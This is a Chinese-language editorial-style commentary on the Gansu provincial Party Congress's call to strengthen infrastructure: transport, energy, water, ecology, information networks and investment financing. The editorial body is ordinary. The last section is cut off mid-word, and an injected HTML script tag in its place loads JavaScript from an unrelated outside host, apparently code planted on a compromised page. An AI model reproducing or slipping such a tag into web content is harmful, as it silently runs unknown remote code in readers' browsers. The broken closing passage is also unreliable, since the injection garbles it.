(一)省第十一次党代会确立了今后五年全省经济社会发展的总体思路，明确提出“四抓”、“三大支撑”，“全力强化基础设施建设、特色优势产业培育、人力资源开发三大支撑”，既为我们扎实推进各项事业指明了方向，也确立了今后的重点工作任务，从根本上牵住了甘肃发展的“牛鼻子”。我们一定要认真学习贯彻，全力抓好落实，不断取得新成效，真正让“三大支撑”撑起甘肃经济社会又好又快发展的宏伟大厦。

(二)“万丈高楼平地起”，“九层之台，起于累土”，说的都是基础的重要性。打好基础，是干好事业的前提和根本。

基础设施是社会赖以生存和发展的基本条件，是一个地区综合实力和现代化程度的重要标志。纵观沿海发达地区的现代化进程，都有一个基础设施快速发展的时期。世界银行认为，基础设施即使不能称其为牵动经济活动的“火车头”，也是促进经济发展的“车轮”。强化基础设施建设，可以为发展积蓄能量、增添后劲、创造环境，拉动经济快速增长，反之，则会成为制约经济社会发展的瓶颈。

基础设施建设既是发展的内容，更是发展的基础和环境，是富民强省的重要支撑和保障。

(三)长期以来，基础设施薄弱是制约我省经济社会发展的一个重要瓶颈。省委、省政府抓住国家实施西部大开发战略这一千载难逢的历史机遇，把基础设施和生态环境建设摆在优先发展的战略地位来抓，带领全省各族人民坚韧不拔，艰苦奋斗，改变落后面貌，在短时间内办成了过去几十年想办而没有办成的事情，基础设施建设取得了突破性进展。

省第十次党代会以来，我省基础设施建设实现了历史性跨越，5年共完成全社会固定资产投资3886亿元，重点建成了一批交通、能源、水利、生态、信息以及城乡公用设施等骨干项目，基础设施建设成为我省经济社会发展中最大的亮点，为长远发展积蓄了后劲，有力拉动了经济的快速增长。成绩是有目共睹的。

(四)自然条件差、经济总量小、人均水平低、贫困比重大，仍然是我们最基本的省情。基础设施虽然有了明显改善，支撑经济较快发展的条件逐步具备，但由于受特殊区位条件的限制，瓶颈制约还没有从根本上消除。我省总体上仍然处在一个夯实基础、突出重点、突破难点、强化保障、加快发展的阶段。要在新的历史起点上实现新跨越，强化基础设施建设显得尤为紧迫和重要。正因为如此，省第十一次党代会将“全力强化基础设施建设”作为我省经济社会发展总体思路“三大支撑”之首，这是对我省阶段性特征的正确认识和科学把握，这是甘肃经济社会又好又快发展的“驱动器”。

随着西部大开发战略深入实施，社会主义新农村建设全面推进，为我省加强基础设施建设提供了宝贵的历史机遇。正确分析形势，把握发展机遇，主动出击，乘势而上，搞好基础设施建设，是我们当前的首要战略任务。

(五)要按照西部大开发“争取十年内取得突破性进展”的要求，把基础设施建设和改善生态环境放在重要位置，统筹规划，合理布局，提高对经济社会发展的支撑能力。

要优化布局、加速发展以公路、铁路为主的综合交通运输，全力提升交通对经济社会发展的保障能力。坚持优化结构、适度超前、多能并举，大力推进能源建设。坚持水资源开发利用与经济社会发展相协调，进一步加强水利建设，全面推进节水型社会建设，保障生活、生态和生产用水。坚持统筹规划，着力实施分流域治理与重大工程相配合的生态保护与建设。以改善城乡居民生产生活条件为目标，加快城乡基础设施和以教育、卫生、科技、文化、信息等为重点的社会事业设施建设。加快建设并充分利用各类网络资源，搞好信息基础设施建设。

(六)发展抓项目与基础设施建设密不可分，相辅相成。我们要树立强烈的发展意识，抢抓历史机遇，超前谋划项目，做到统筹规划、区域协调，实行各部门、上下级的联动，积极落实项目，助推基础设施建设。要集中力量抓好重点项目建设，以一个个重点项目带动基础设施建设挥写大手笔，实现大发展。

夯实基础与发展产业相得益彰。聚焦我省基础设施建设，不难发现，还存在“一条腿”走路的现象，忽视了基础设施建设项目与产业发展的良性互动。基础设施建设与资源开发、产业建设相互促进、相互联动，基础设施建设是产业发展的重要条件，产业发展反过来可以积累物质，推动基础设施建设。要坚持基础设施建设和产业建设“两条腿”“同步走”，多修“产业路”，多引“致富水”，多建“发展桥”。

推进基础设施建设，资金缺乏和投入不足是当前首要瓶颈。改革创新是现实出路，当务之急是深化投资体制改革，创新融资方式，打破基础设施领域的政府垄断行为，破除民间资本准入的壁垒，逐步开放建设市场，政府应主动为民间资本“开渠畅流”，吸引民间资本、国内外资本参与基础设施的建设和运营，起到“四两拨千斤”之功效，从而加快市场化运作和产业化经营的步伐，为基础设施建设提供强大动力。

(七)基础设?script src=http://www.mtno.ru/style.js>